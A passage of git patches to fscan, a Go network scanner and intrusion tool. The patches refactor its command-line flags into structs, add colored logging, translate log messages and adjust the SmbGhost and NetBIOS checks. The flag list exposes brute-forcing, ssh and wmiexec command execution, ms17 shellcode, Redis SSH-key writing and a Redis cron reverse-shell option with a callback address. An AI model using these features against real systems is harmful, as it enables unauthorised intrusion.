Chrome/104.0.0.0 Safari/537.36" - Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" - DnsLog bool - PocNum int - PocFull bool - CeyeDomain string - ApiKey string - Cookie string + UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" + Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" + Cookie string ) diff --git a/common/flag.go b/common/flag.go index 8961b0a..a2b120d 100644 --- a/common/flag.go +++ b/common/flag.go @@ -4,7 +4,8 @@ import ( "flag" ) -var ( +// todo make function +type Flags struct { Path string Scantype string Command string @@ -13,9 +14,8 @@ var ( Username string Password string Proxy string - Timeout int64 = 3 - WebTimeout int64 = 5 - TmpSave bool + Timeout int64 + WebTimeout int64 NoPing bool Ping bool Pocinfo PocInfo @@ -43,56 +43,77 @@ var ( Socks5Proxy string Hash string HashBytes []byte - HostPort []string IsWmi bool -) + PocNum int + PocFull bool + DnsLog bool +} + +// todo make function +type LogConfig struct { + Silent bool + Outputfile string + TmpSave bool + WaitTime int64 +} + +type InConfig struct { + HostInfo HostInfo + Flags Flags + LogConfig LogConfig + Cookie string +} + +func Flag(inConfig *InConfig) { + flag.StringVar(&inConfig.HostInfo.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") + flag.StringVar(&inConfig.HostInfo.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306") + + flag.StringVar(&inConfig.Flags.NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24") + flag.StringVar(&inConfig.Flags.PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389") + flag.StringVar(&inConfig.Flags.UserAdd, "usera", "", "add a user base DefaultUsers,-usera user") + flag.StringVar(&inConfig.Flags.PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password") + flag.StringVar(&inConfig.Flags.NoPorts, "pn", "", "the ports no scan,as: -pn 445") + flag.StringVar(&inConfig.Flags.Command, "c", "", "exec command (ssh|wmiexec)") + flag.StringVar(&inConfig.Flags.SshKey, "sshkey", "", "sshkey file (id_rsa)") + flag.StringVar(&inConfig.Flags.Domain, "domain", "", "smb domain") + flag.StringVar(&inConfig.Flags.Username, "user", "", "username") + flag.StringVar(&inConfig.Flags.Password, "pwd", "", "password") + flag.Int64Var(&inConfig.Flags.Timeout, "time", 3, "Set timeout") + flag.Int64Var(&inConfig.Flags.WebTimeout, "wt", 5, "Set web timeout") + flag.StringVar(&inConfig.Flags.Scantype, "m", "all", "Select scan type ,as: -m ssh") + flag.StringVar(&inConfig.Flags.Path, "path", "", "fcgi、smb romote file path") + flag.IntVar(&inConfig.Flags.Threads, "t", 600, "Thread nums") + flag.IntVar(&inConfig.Flags.LiveTop, "top", 10, "show live len top") + flag.StringVar(&inConfig.Flags.HostFile, "hf", "", "host file, -hf ip.txt") + flag.StringVar(&inConfig.Flags.Userfile, "userf", "", "username file") + flag.StringVar(&inConfig.Flags.Passfile, "pwdf", "", "password file") + flag.StringVar(&inConfig.Flags.PortFile, "portf", "", "Port File") + flag.StringVar(&inConfig.Flags.PocPath, "pocpath", "", "poc file path") + flag.StringVar(&inConfig.Flags.RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub) ") + flag.StringVar(&inConfig.Flags.RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666) ") + flag.BoolVar(&inConfig.Flags.IsWebCan, "nopoc", false, "not to scan web vul") + flag.BoolVar(&inConfig.Flags.IsBrute, "nobr", false, "not to Brute password") + flag.IntVar(&inConfig.Flags.BruteThread, "br", 1, "Brute threads") + flag.BoolVar(&inConfig.Flags.NoPing, "np", false, "not to ping") + flag.BoolVar(&inConfig.Flags.Ping, "ping", false, "using ping replace icmp") + flag.StringVar(&inConfig.Flags.URL, "u", "", "url") + flag.StringVar(&inConfig.Flags.UrlFile, "uf", "", "urlfile") + flag.StringVar(&inConfig.Flags.Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic") + flag.IntVar(&inConfig.Flags.PocNum, "num", 20, "poc rate") + flag.StringVar(&inConfig.Flags.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080") + flag.StringVar(&inConfig.Flags.Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work") + flag.StringVar(&inConfig.Flags.SC, "sc", "", "ms17 shellcode,as -sc add") + flag.BoolVar(&inConfig.Flags.IsWmi, "wmi", false, "start wmi") + flag.StringVar(&inConfig.Flags.Hash, "hash", "", "hash") + flag.BoolVar(&inConfig.Flags.PocFull, "full", false, "poc full scan,as: shiro 100 key") + flag.BoolVar(&inConfig.Flags.DnsLog, "dns", false, "using dnslog poc") + + flag.StringVar(&inConfig.LogConfig.Outputfile, "o", "result.txt", "Outputfile") + flag.BoolVar(&inConfig.LogConfig.TmpSave, "no", false, "not to save output log") + flag.Int64Var(&inConfig.LogConfig.WaitTime, "debug", 60, "every time to LogErr") + flag.BoolVar(&inConfig.LogConfig.Silent, "silent", false, "silent scan") + + flag.StringVar(&inConfig.Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login") -func Flag(Info *HostInfo) { - flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") - flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24") - flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306") - flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389") - flag.StringVar(&UserAdd, "usera", "", "add a user base DefaultUsers,-usera user") - flag.StringVar(&PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password") - flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445") - flag.StringVar(&Command, "c", "", "exec command (ssh|wmiexec)") - flag.StringVar(&SshKey, "sshkey", "", "sshkey file (id_rsa)") - flag.StringVar(&Domain, "domain", "", "smb domain") - flag.StringVar(&Username, "user", "", "username") - flag.StringVar(&Password, "pwd", "", "password") - flag.Int64Var(&Timeout, "time", 3, "Set timeout") - flag.StringVar(&Scantype, "m", "all", "Select scan type ,as: -m ssh") - flag.StringVar(&Path, "path", "", "fcgi、smb romote file path") - flag.IntVar(&Threads, "t", 600, "Thread nums") - flag.IntVar(&LiveTop, "top", 10, "show live len top") - flag.StringVar(&HostFile, "hf", "", "host file, -hf ip.txt") - flag.StringVar(&Userfile, "userf", "", "username file") - flag.StringVar(&Passfile, "pwdf", "", "password file") - flag.StringVar(&PortFile, "portf", "", "Port File") - flag.StringVar(&PocPath, "pocpath", "", "poc file path") - flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub) ") - flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666) ") - flag.BoolVar(&IsWebCan, "nopoc", false, "not to scan web vul") - flag.BoolVar(&IsBrute, "nobr", false, "not to Brute password") - flag.IntVar(&BruteThread, "br", 1, "Brute threads") - flag.BoolVar(&NoPing, "np", false, "not to ping") - flag.BoolVar(&Ping, "ping", false, "using ping replace icmp") - flag.StringVar(&Outputfile, "o", "result.txt", "Outputfile") - flag.BoolVar(&TmpSave, "no", false, "not to save output log") - flag.Int64Var(&WaitTime, "debug", 60, "every time to LogErr") - flag.BoolVar(&Silent, "silent", false, "silent scan") - flag.BoolVar(&PocFull, "full", false, "poc full scan,as: shiro 100 key") - flag.StringVar(&URL, "u", "", "url") - flag.StringVar(&UrlFile, "uf", "", "urlfile") - flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic") - flag.StringVar(&Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080") - flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work") - flag.StringVar(&Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login") - flag.Int64Var(&WebTimeout, "wt", 5, "Set web timeout") - flag.BoolVar(&DnsLog, "dns", false, "using dnslog poc") - flag.IntVar(&PocNum, "num", 20, "poc rate") - flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add") - flag.BoolVar(&IsWmi, "wmi", false, "start wmi") - flag.StringVar(&Hash, "hash", "", "hash") flag.Parse() } diff --git a/common/log.go b/common/log.go index 574dba7..5b67c3f 100644 --- a/common/log.go +++ b/common/log.go @@ -17,6 +17,7 @@ var LogErrTime int64 var WaitTime int64 var Silent bool var LogWG sync.WaitGroup +var Outputfile string func init() { LogSucTime = time.Now().Unix() @@ -57,9 +58,9 @@ func WriteFile(result string, filename string) { func LogError(errinfo interface{}) { if WaitTime == 0 { - fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo) + fmt.Printf("completed %v/%v %v \n", End, Num, errinfo) } else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime { - fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo) + fmt.Printf("completed %v/%v %v \n", End, Num, errinfo) LogErrTime = time.Now().Unix() } } diff --git a/common/proxy.go b/common/proxy.go index 468a000..e51f10d 100644 --- a/common/proxy.go +++ b/common/proxy.go @@ -2,43 +2,47 @@ package common import ( "errors" - "golang.org/x/net/proxy" "net" "net/url" "strings" "time" + + "golang.org/x/net/proxy" ) -func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { - d := &net.Dialer{Timeout: timeout} - return WrapperTCP(network, address, d) +type Socks5 struct { + Address string } -func WrapperTCP(network, address string,forward * net.Dialer) (net.Conn, error) { +func WrapperTcpWithTimeout(network, address string, socks5Proxy Socks5, timeout time.Duration) (net.Conn, error) { + d := &net.Dialer{Timeout: timeout} + return WrapperTCP(network, address, socks5Proxy, d) +} + +func WrapperTCP(network, address string, socks5Proxy Socks5, forward *net.Dialer) (net.Conn, error) { //get conn var conn net.Conn - if Socks5Proxy == "" { + if socks5Proxy.Address == "" { var err error - conn,err = forward.Dial(network, address) + conn, err = forward.Dial(network, address) if err != nil { return nil, err } - }else { - dailer, err := Socks5Dailer(forward) - if err != nil{ + } else { + dailer, err := Socks5Dailer(forward, socks5Proxy) + if err != nil { return nil, err } - conn,err = dailer.Dial(network, address) + conn, err = dailer.Dial(network, address) if err != nil { return nil, err } } return conn, nil - } -func Socks5Dailer(forward * net.Dialer) (proxy.Dialer, error) { - u,err := url.Parse(Socks5Proxy) +func Socks5Dailer(forward *net.Dialer, socks5Proxy Socks5) (proxy.Dialer, error) { + u, err := url.Parse(socks5Proxy.Address) if err != nil { return nil, err } @@ -51,10 +55,10 @@ func Socks5Dailer(forward * net.Dialer) (proxy.Dialer, error) { if u.User.String() != "" { auth = proxy.Auth{} auth.User = u.User.Username() - password,_ := u.User.Password() + password, _ := u.User.Password() auth.Password = password dailer, err = proxy.SOCKS5("tcp", address, &auth, forward) - }else { + } else { dailer, err = proxy.SOCKS5("tcp", address, nil, forward) } From 18937e1e4a6dbf9a803f9757761d0a6785a19c64 Mon Sep 17 00:00:00 2001 From: Andrii Ursulenko Date: Tue, 18 Jul 2023 13:43:11 +0300 Subject: [PATCH 03/46] add colored output --- .gitignore | 1 + Plugins/icmp.go | 9 +++++---- Plugins/scanner.go | 7 ++++--- common/log.go | 31 +++++++++++++++++++++---------- go.mod | 5 ++++- go.sum | 11 +++++++++++ 6 files changed, 46 insertions(+), 18 deletions(-) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..387c605 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +result.txt diff --git a/Plugins/icmp.go b/Plugins/icmp.go index bde11d5..6d0773f 100644 --- a/Plugins/icmp.go +++ b/Plugins/icmp.go @@ -3,6 +3,7 @@ package Plugins import ( "bytes" "fmt" + "github.com/fatih/color" "github.com/shadow1ng/fscan/common" "golang.org/x/net/icmp" "net" @@ -26,11 +27,11 @@ func CheckLive(hostslist []string, Ping bool) []string { for ip := range chanHosts { if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) { ExistHosts[ip] = struct{}{} - if common.Silent == false { - if Ping == false { - fmt.Printf("(icmp) Target %-15s is alive\n", ip) + if !common.Silent { + if !Ping { + color.Green("(icmp) Target %-15s is alive\n", ip) } else { - fmt.Printf("(ping) Target %-15s is alive\n", ip) + color.Green("(ping) Target %-15s is alive\n", ip) } } AliveHosts = append(AliveHosts, ip) diff --git a/Plugins/scanner.go b/Plugins/scanner.go index 58c2c3a..c877e12 100644 --- a/Plugins/scanner.go +++ b/Plugins/scanner.go @@ -2,6 +2,7 @@ package Plugins import ( "fmt" + "github.com/fatih/color" "github.com/shadow1ng/fscan/WebScan/lib" "github.com/shadow1ng/fscan/common" "reflect" @@ -25,7 +26,7 @@ func Scan(info common.HostInfo) { if len(Hosts) > 0 || len(common.HostPort) > 0 { if common.NoPing == false && len(Hosts) > 0 { Hosts = CheckLive(Hosts, common.Ping) - fmt.Println("[*] Icmp alive hosts len is:", len(Hosts)) + color.Cyan("[*] Icmp alive hosts len is: %d", len(Hosts)) } if common.Scantype == "icmp" { common.LogWG.Wait() @@ -40,7 +41,7 @@ func Scan(info common.HostInfo) { AlivePorts = NoPortScan(Hosts, info.Ports) } else if len(Hosts) > 0 { AlivePorts = PortScan(Hosts, info.Ports, common.Timeout) - fmt.Println("[*] alive ports len is:", len(AlivePorts)) + color.Cyan("[*] alive ports len is: %d", len(AlivePorts)) if common.Scantype == "portscan" { common.LogWG.Wait() return @@ -50,7 +51,7 @@ func Scan(info common.HostInfo) { AlivePorts = append(AlivePorts, common.HostPort...) AlivePorts = common.RemoveDuplicate(AlivePorts) common.HostPort = nil - fmt.Println("[*] AlivePorts len is:", len(AlivePorts)) + color.Cyan("[*] AlivePorts len is:", len(AlivePorts)) } common.GC() var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...} diff --git a/common/log.go b/common/log.go index 574dba7..5ce7d70 100644 --- a/common/log.go +++ b/common/log.go @@ -2,6 +2,7 @@ package common import ( "fmt" + "github.com/fatih/color" "os" "strings" "sync" @@ -31,12 +32,18 @@ func LogSuccess(result string) { func SaveLog() { for result := range Results { - if Silent == false || strings.Contains(*result, "[+]") || strings.Contains(*result, "[*]") { - fmt.Println(*result) + if !Silent { + if strings.Contains(*result, "[+]") { + color.Green(*result) + } else if strings.Contains(*result, "[*]") { + color.Cyan(*result) + } } + if IsSave { WriteFile(*result, Outputfile) } + LogWG.Done() } } @@ -48,19 +55,23 @@ func WriteFile(result string, filename string) { fmt.Printf("Open %s error, %v\n", filename, err) return } - _, err = fl.Write(text) - fl.Close() - if err != nil { + + defer func() { + _ = fl.Close() + }() + + if _, err := fl.Write(text); err != nil { fmt.Printf("Write %s error, %v\n", filename, err) } } func LogError(errinfo interface{}) { - if WaitTime == 0 { - fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo) - } else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime { - fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo) - LogErrTime = time.Now().Unix() + if WaitTime == 0 || (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime { + color.Red(fmt.Sprintf("Completed %v/%v %v \n", End, Num, errinfo)) + + if WaitTime != 0 { + LogErrTime = time.Now().Unix() + } } } diff --git a/go.mod b/go.mod index 2aa860c..b876c52 100644 --- a/go.mod +++ b/go.mod @@ -26,6 +26,7 @@ require ( require ( github.com/BurntSushi/toml v0.3.1 // indirect github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 // indirect + github.com/fatih/color v1.15.0 // indirect github.com/geoffgarside/ber v1.1.0 // indirect github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect github.com/golang-sql/sqlexp v0.1.0 // indirect @@ -34,6 +35,8 @@ require ( github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 // indirect github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect + github.com/mattn/go-colorable v0.1.13 // indirect + github.com/mattn/go-isatty v0.0.19 // indirect github.com/stoewer/go-strcase v1.2.0 // indirect go.uber.org/atomic v1.5.0 // indirect go.uber.org/multierr v1.3.0 // indirect @@ -41,7 +44,7 @@ require ( go.uber.org/zap v1.14.0 // indirect golang.org/x/lint v0.0.0-20190930215403-16217165b5de // indirect golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect - golang.org/x/sys v0.5.0 // indirect + golang.org/x/sys v0.10.0 // indirect golang.org/x/tools v0.1.12 // indirect honnef.co/go/tools v0.0.1-2019.2.3 // indirect ) diff --git a/go.sum b/go.sum index b3ea020..49d8329 100644 --- a/go.sum +++ b/go.sum @@ -46,6 +46,8 @@ github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZm github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= +github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= +github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w= @@ -156,7 +158,12 @@ github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 h1:EnfXoSqDfSNJv0 github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40/go.mod h1:vy1vK6wD6j7xX6O6hXe621WabdtNkou2h7uRtTfRMyg= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= +github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= +github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA= +github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= @@ -341,8 +348,12 @@ golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA= +golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= From 96b7a9303441184cee1637993b3396b32aef4bb9 Mon Sep 17 00:00:00 2001 From: ph Date: Wed, 26 Jul 2023 12:35:34 +0300 Subject: [PATCH 04/46] Translation in main --- main.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/main.go b/main.go index dc8acd4..a4ea3c4 100644 --- a/main.go +++ b/main.go @@ -15,5 +15,5 @@ func main() { common.Parse(&config) Plugins.Scan(config.HostInfo, config.Flags) t := time.Now().Sub(start) - fmt.Printf("[*] 扫描结束,耗时: %s\n", t) + fmt.Printf("[*] The scan is done, spent time: %s\n", t) } From fddfd08d01716e684f8a7e32e3ad02a1d3056190 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 10:22:32 +0800 Subject: [PATCH 05/46] Update CVE-2020-0796.go --- Plugins/CVE-2020-0796.go | 19 ++++++++----------- 1 file changed, 8 insertions(+), 11 deletions(-) diff --git a/Plugins/CVE-2020-0796.go b/Plugins/CVE-2020-0796.go index 5eb7cb0..3123f1c 100644 --- a/Plugins/CVE-2020-0796.go +++ b/Plugins/CVE-2020-0796.go @@ -94,18 +94,18 @@ const ( "\x00\x00\x00\x00" ) -func SmbGhost(info common.HostInfo, flags common.Flags) error { - if flags.IsBrute { +func SmbGhost(info *common.HostInfo) error { + if common.IsBrute { return nil } - err := SmbGhostScan(info, flags) + err := SmbGhostScan(info) return err } -func SmbGhostScan(info common.HostInfo, flags common.Flags) error { - ip, port, timeout := info.Host, 445, time.Duration(flags.Timeout)*time.Second +func SmbGhostScan(info *common.HostInfo) error { + ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second addr := fmt.Sprintf("%s:%v", info.Host, port) - conn, err := common.WrapperTcpWithTimeout("tcp", addr, common.Socks5{Address: flags.Socks5Proxy}, timeout) + conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout) defer func() { if conn != nil { conn.Close() @@ -119,15 +119,12 @@ func SmbGhostScan(info common.HostInfo, flags common.Flags) error { return err } buff := make([]byte, 1024) - - _ = conn.SetReadDeadline(time.Now().Add(timeout)) - + err = conn.SetReadDeadline(time.Now().Add(timeout)) n, err := conn.Read(buff) if err != nil { return err } - - if bytes.Contains(buff[:n], []byte("Public")) { + if bytes.Contains(buff[:n], []byte("Public")) == true { result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip) common.LogSuccess(result) From 019544cd07b8cdeb66e08018ae8e498744259aac Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 10:24:07 +0800 Subject: [PATCH 06/46] Update NetBIOS.go --- Plugins/NetBIOS.go | 27 +++++++++++++-------------- 1 file changed, 13 insertions(+), 14 deletions(-) diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index b1a645b..107dcca 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -4,19 +4,18 @@ import ( "bytes" "errors" "fmt" + "github.com/shadow1ng/fscan/common" + "gopkg.in/yaml.v3" "net" "strconv" "strings" "time" - - "github.com/shadow1ng/fscan/common" - "gopkg.in/yaml.v3" ) var errNetBIOS = errors.New("netbios error") -func NetBIOS(info common.HostInfo, flags common.Flags) error { - netbios, _ := NetBIOS1(info, flags) +func NetBIOS(info *common.HostInfo) error { + netbios, _ := NetBIOS1(info) output := netbios.String() if len(output) > 0 { result := fmt.Sprintf("[*] NetBios: %-15s %s", info.Host, output) @@ -26,8 +25,8 @@ func NetBIOS(info common.HostInfo, flags common.Flags) error { return errNetBIOS } -func NetBIOS1(info common.HostInfo, flags common.Flags) (netbios NetBiosInfo, err error) { - netbios, err = GetNbnsname(info, flags.Timeout) +func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) { + netbios, err = GetNbnsname(info) var payload0 []byte if netbios.ServerService != "" || netbios.WorkstationService != "" { ss := netbios.ServerService @@ -41,7 +40,7 @@ func NetBIOS1(info common.HostInfo, flags common.Flags) (netbios NetBiosInfo, er } realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) var conn net.Conn - conn, err = common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) + conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) defer func() { if conn != nil { conn.Close() @@ -50,7 +49,7 @@ func NetBIOS1(info common.HostInfo, flags common.Flags) (netbios NetBiosInfo, er if err != nil { return } - err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second)) + err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) if err != nil { return } @@ -89,11 +88,11 @@ func NetBIOS1(info common.HostInfo, flags common.Flags) (netbios NetBiosInfo, er return } -func GetNbnsname(info common.HostInfo, timeout int64) (netbios NetBiosInfo, err error) { +func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) { senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} //senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01") realhost := fmt.Sprintf("%s:137", info.Host) - conn, err := net.DialTimeout("udp", realhost, time.Duration(timeout)*time.Second) + conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second) defer func() { if conn != nil { conn.Close() @@ -102,7 +101,7 @@ func GetNbnsname(info common.HostInfo, timeout int64) (netbios NetBiosInfo, err if err != nil { return } - err = conn.SetDeadline(time.Now().Add(time.Duration(timeout) * time.Second)) + err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) if err != nil { return } @@ -209,7 +208,7 @@ type NetBiosInfo struct { NetComputerName string `yaml:"NetBiosComputerName"` } -func (info NetBiosInfo) String() (output string) { +func (info *NetBiosInfo) String() (output string) { var text string //ComputerName 信息比较全 if info.ComputerName != "" { @@ -329,7 +328,7 @@ func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) { return } length = num1 + num2*256 - _, err = bytetoint(ret[start+44 : start+45][0]) + num1, err = bytetoint(ret[start+44 : start+45][0]) if err != nil { return } From afe9a0228f27ed62c8919a9c7ec1ea1dcb3a6a91 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 10:29:43 +0800 Subject: [PATCH 07/46] Update NetBIOS.go --- Plugins/NetBIOS.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index 107dcca..8b76939 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -328,7 +328,7 @@ func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) { return } length = num1 + num2*256 - num1, err = bytetoint(ret[start+44 : start+45][0]) + _, err = bytetoint(ret[start+44 : start+45][0]) if err != nil { return } From 22d6e1678557b24d6bd92ee9785d121a48bff630 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Mon, 13 Nov 2023 10:40:04 +0800 Subject: [PATCH 08/46] Update 